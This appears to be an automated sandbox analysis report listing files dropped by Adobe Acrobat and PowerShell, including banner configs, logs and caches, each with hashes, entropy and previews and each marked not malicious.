SHA-256:	D9CB21EBD955C87D737DB7DAB6AE86C27B02C14343730B026D62F4F10395173B
SHA-512:	032F8A3F9FFA33D084B23C4A29CCC2FE4C55322D73D9792637CD2E7B6A1863F35D3FA27965145151EDC1C5C6FB1B1F5C78CA90D03837CC6AB87DC1C1A0B82E57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.26540983620028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJf+dPeUkwRe9:YvXKXrA5ZXqUTbdSU3G28Ukee9
MD5:	0453D028087E20F5A254836664A86FA6
SHA1:	16D7359DE7CEE83ED56B86AB0C67E317BEF28938
SHA-256:	3E317F7753D9A717937F1EA21B0AF6A8CD1C89B50384C063AA64CC315F4C7ACA
SHA-512:	72D1F31976DE643BB26594C43778A17CC723B3625E3174A8F473F52FDDF8924666A4BA0194DB46674BAD502656C41D1FAFB5375314A562C6CE07C59724C5F895
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26257464667084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfbPtdPeUkwRe9:YvXKXrA5ZXqUTbdSU3GDV8Ukee9
MD5:	62C624C46345B47C2177953434CACAF6
SHA1:	6CC958693286D98C532F6E13D9A04B89AE66E385
SHA-256:	B686FC33AD12867465A21AA21BF414CCF0457F1206A01ECE437AC3E04F0EDDD4
SHA-512:	92D5FF8EA312112098C6A557D491E0046664237D9C4C439EF137C9CE36041085E6AEE943F58F2CF63C9781FB9DE24B8D49B77D5C56ABE1284F1021E1B552214A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265663668015733
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJf21rPeUkwRe9:YvXKXrA5ZXqUTbdSU3G+16Ukee9
MD5:	EB2CDEF27A25ACE525E6B07A3FDC8C42
SHA1:	89BBA60213CADDC7BFFD91201E3C80DE244088F2
SHA-256:	F924CF71007F61AEB3B7400B730411A781619702C9855551339BC1984E3F7E34
SHA-512:	1B91747AE274FBA8F700101C8E0B585D717F7053516A5D987E777B9B50725816702C42965F487AD0E4D18AB3B6E45E0E23BA63563A3F10D4048DD682C847C07D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661023628021117
Encrypted:	false
SSDEEP:	24:Yv6Xr0ZXqUXgUoamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:YvXZXqwgBBgkDMUJUAh8cvMo
MD5:	989010D066DE81C6CDF4F6F7510FB27A
SHA1:	BA15ECD71037269C36DE219A56A73A520475DFC3
SHA-256:	CB2D14CBB9D99E4ECF31338E5FAC35B9A3C093CB2C417832466B6836FAFCCF80
SHA-512:	6CF9A7977A1982AFA8DD02DC3B42030D605163A268C804C956F47B2BA295BCDF652BF29DFE36A141336A7FAF91114B94A31A4E91607B51A3D30B482FEB28C856
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244062512483575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfshHHrPeUkwRe9:YvXKXrA5ZXqUTbdSU3GUUUkee9
MD5:	BFF2984625174DF219DB55B5CDF50124
SHA1:	C316FA0C04918E06D52378BAFA9B56D0C6F01D04
SHA-256:	B38B9C74FF4217253E048EA534824D05FB90B276FA1BF4CA87B92E4BBBF58714
SHA-512:	A37CF27686F14E6E2EED45CF922D47AABFD4AF0F0865DCB67E7020876FB349BA62B5799F33A680611B86C7EDA59BDEA6DB05CCBA4B6749F48B770D87642C2846
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258483397206379
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJTqgFCrPeUkwRe9:YvXKXrA5ZXqUTbdSU3GTq16Ukee9
MD5:	7D09B035FD28C7C26825E6D0556512F7
SHA1:	C0E333F85699B942BEBB0FE858E2FE87B1EACF4E
SHA-256:	823830857ADB0FEFDAE00D983EFA22E4CB441148C2312DBD4AA8DD1C8C8DFF7B
SHA-512:	D7A0935144BC72E80DF9215C5D3E123F746830C0483BF01BA8555EF619F4FED6AAC688726959BE7693959F233DCE863E3351BFCD0E7373BAB73077C230509E6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145952541038396
Encrypted:	false
SSDEEP:	24:YDEyatayufHAv6Oq/VimySTDP6CSjcN2j0SG9/CS2y2LS4CINDWvnhQLl5nGe9Gt:YDFgS//okDStcNIYB3W/N6vnhQpP9Gt
MD5:	736ABA36C66A9498E93A03A0A214AF3F
SHA1:	10E0B2A0AEF44D0C3BCC6ACE161B26459CCBD2F6
SHA-256:	7A7AEFE8AC6B619BEB88977D57047E181DE250298FF2C52326B4629476F4469F
SHA-512:	3D8048CB1391DC103BAD786B90067AFC7B9682580BE887EEA24870FAED7B0762BD626068066A58C05270B1AB2E523EE17074E465A2A9FF945088F105D4CFBBD9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9c47f868170ce89ead02ca5ac9d14cb8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565594000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c8eb6b706ffab960060ed0ec389c1cc6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565594000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bcabbbc11c8ccf103e28a34a2e940941","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565594000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d03e40486c3b3dcc9f58710f46fa88fb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565594000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6572b5310980434e23ac191eceb6c17f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565594000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f4f6a643451148dc89329d1b905f5150","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3197118827646168
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y3Our+EXSqY:TGufl2GL7msUKB0M0+Tb608Y3KrPJ
MD5:	CC9FF4F32F8AEBEF35E6E6149F7B62F5
SHA1:	515968FC2617A6D8E36015714DCC41FBE743D787
SHA-256:	90DAFB6305B4DC4F6C5E3C6743289C8A0A488FB12583D2A47BCC4A15339617A6
SHA-512:	23B47CB4F703EDD192A974CC90C5677C1C7A6FDB993959AC4091EEAF2CFD537044042EA1D122FBBB2AA5A3C626A402D02A37A072ACC88EE72EF4E1705554CF52
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7831781461800555
Encrypted:	false
SSDEEP:	24:7+tzl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y3Our/EXSqXlyGKaidqLhx/XYKX:7MtKB0M0+Tb608Y3TrGKJqFl2GL7mstt
MD5:	2CA3EB97014F0B95084B611B1D62CD94
SHA1:	2581948F177648CF255B023C0ACD7E3C954F1FCC
SHA-256:	BC5758F32D79166AEBDFE1981FA78739E714E60921F6AEF165752A5EFA99B6DF
SHA-512:	E3CC9FDE412EEFE8E0C539F8D62DE7C52083687EAB6CCD76E19330CB7EA2BE973028A1006CA8C9E3AB1A2FB6DF6FB8E836D1B9047325E07927062B4BA346BAB7
Malicious:	false
Preview:	.... .c.....*............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgpS3LyEdA3K2qL89nUNlUCY0WbTlYyu:6a6TZ44ADEk3ziqgUNfYB9K
MD5:	FCEB80C4AD13B6432D98804B979F61C8
SHA1:	46EF5C82BCC4275F27E29B6316E0F32807233E09
SHA-256:	77E3AB9FD4F7B86AF6ED91CAFD28887DAF6A51C43B518ABB17B3C4DD9CB3AB60
SHA-512:	BC774D2C2F30A0EDA5F54D8D2049C50B85013703A2ED13130971D0AFA8D7CFD9D99462641E303B92E361D84FD03D8F149EBDFE55FD76020FA9B22511E154BE2C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI76a88.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWlInH:Qw946cPbiOxDlbYnuRK+brIH
MD5:	97EDCD0EEC14273F6A83FD7A87FBCAC8
SHA1:	09B015152B31AD285DA2E0A8DADAD54C9C7CB5AA
SHA-256:	399DE43DE51378D7551B5C60337D6D2B079840FBBBCBB82711F3BBB53C1CA19B
SHA-512:	DB095D3B72AAB0B5FD8C6AB5EF5E67D66D05F8FF807080E4D39F6E71D8C7FAEF2D04A35367BC1932A3C49935B908C8014B0E7E05BEDE2BB8F94DA2EDA5DE3AF4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.9.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jptfvll.2os.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpntjpj1.edl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ydonoi_876lrv_194.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.991912196658664
Encrypted:	true
SSDEEP:	1536:Ovj3fXvOA7zO3qgSPp67cNtHbKpPBXrzyUVLOhCyhrzDDvc4DZsRMRa5rVaJY:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJY
MD5:	E6A4879BA9D5CD9EB1782505869BFE4A
SHA1:	40F928E5DDBE5981510711E1C76579EF0ABE08D4
SHA-256:	7A1F9D34C68B75C412BF9580510E0BE8AC8407F3485BE4BB7C2D61111AFC7446
SHA-512:	5F0E2D98BC9F600951936E7BEB2566DBE635697E4864DD3B74D0B8B55B7A224DCB8BBB107328A20765476D7E8D49556D0CC667208AACCA1A95002407C279108C
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-19-47-968.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.322587362566685
Encrypted:	false
SSDEEP:	384:BDdKZKw9h9N9c9WY5A5P5v5+5o5dW2WoWGWQhFhVhGhxhumhlLAltZHBHpH78d8j:Se6p
MD5:	E1547F7AC81817F1321ECCFCB689521E
SHA1:	69A4A9BF22161268F9FA6F31119B7F62468E9CC2
SHA-256:	D9E6F43E32BF906D27B1E0BA5E66B1A67816526255CBE7D33FDD65E5162001F7
SHA-512:	B0E89481D0B4063E4D5B49EFA17903590E3B2DACD394985DDCF942055FA97BA1AE97EA9DC8A1ED1F8615EB0BF003C0F12F0960060876C22DD5E237B4A730E3C0
Malicious:	false
Preview:	SessionID=054c11df-cbed-4a55-ae72-021cca51a711.1736565587994 Timestamp=2025-01-10T22:19:47:994-0500 ThreadID=7260 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=054c11df-cbed-4a55-ae72-021cca51a711.1736565587994 Timestamp=2025-01-10T22:19:48:057-0500 ThreadID=7260 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=054c11df-cbed-4a55-ae72-021cca51a711.1736565587994 Timestamp=2025-01-10T22:19:48:057-0500 ThreadID=7260 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=054c11df-cbed-4a55-ae72-021cca51a711.1736565587994 Timestamp=2025-01-10T22:19:48:065-0500 ThreadID=7260 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=054c11df-cbed-4a55-ae72-021cca51a711.1736565587994 Timestamp=2025-01-10T22:19:48:065-0500 ThreadID=7260 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.408832716089134
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmx:EGvIcNYdZeeytCDynbPo7q
MD5:	20C879DBFB0ED18089F382A0594DD02E
SHA1:	934C87D4FF36EAD1C369342C05DD08BC5ACF9411
SHA-256:	50BC22707A8A2D22BB7538846D9024639E02DE4C6C157F7F7A525C586E3F8901
SHA-512:	F97C8E1DFB5D77C1DED0DFCD0BD109B6CBD438217763C798F282D379704DDAC546742A782593F89F7ED1719BF2BD15DF4EA0D34CF585D5CFBB7582F3E27AE1C0
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d6f94d7-d33c-4425-9eab-a0d66b67a445.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
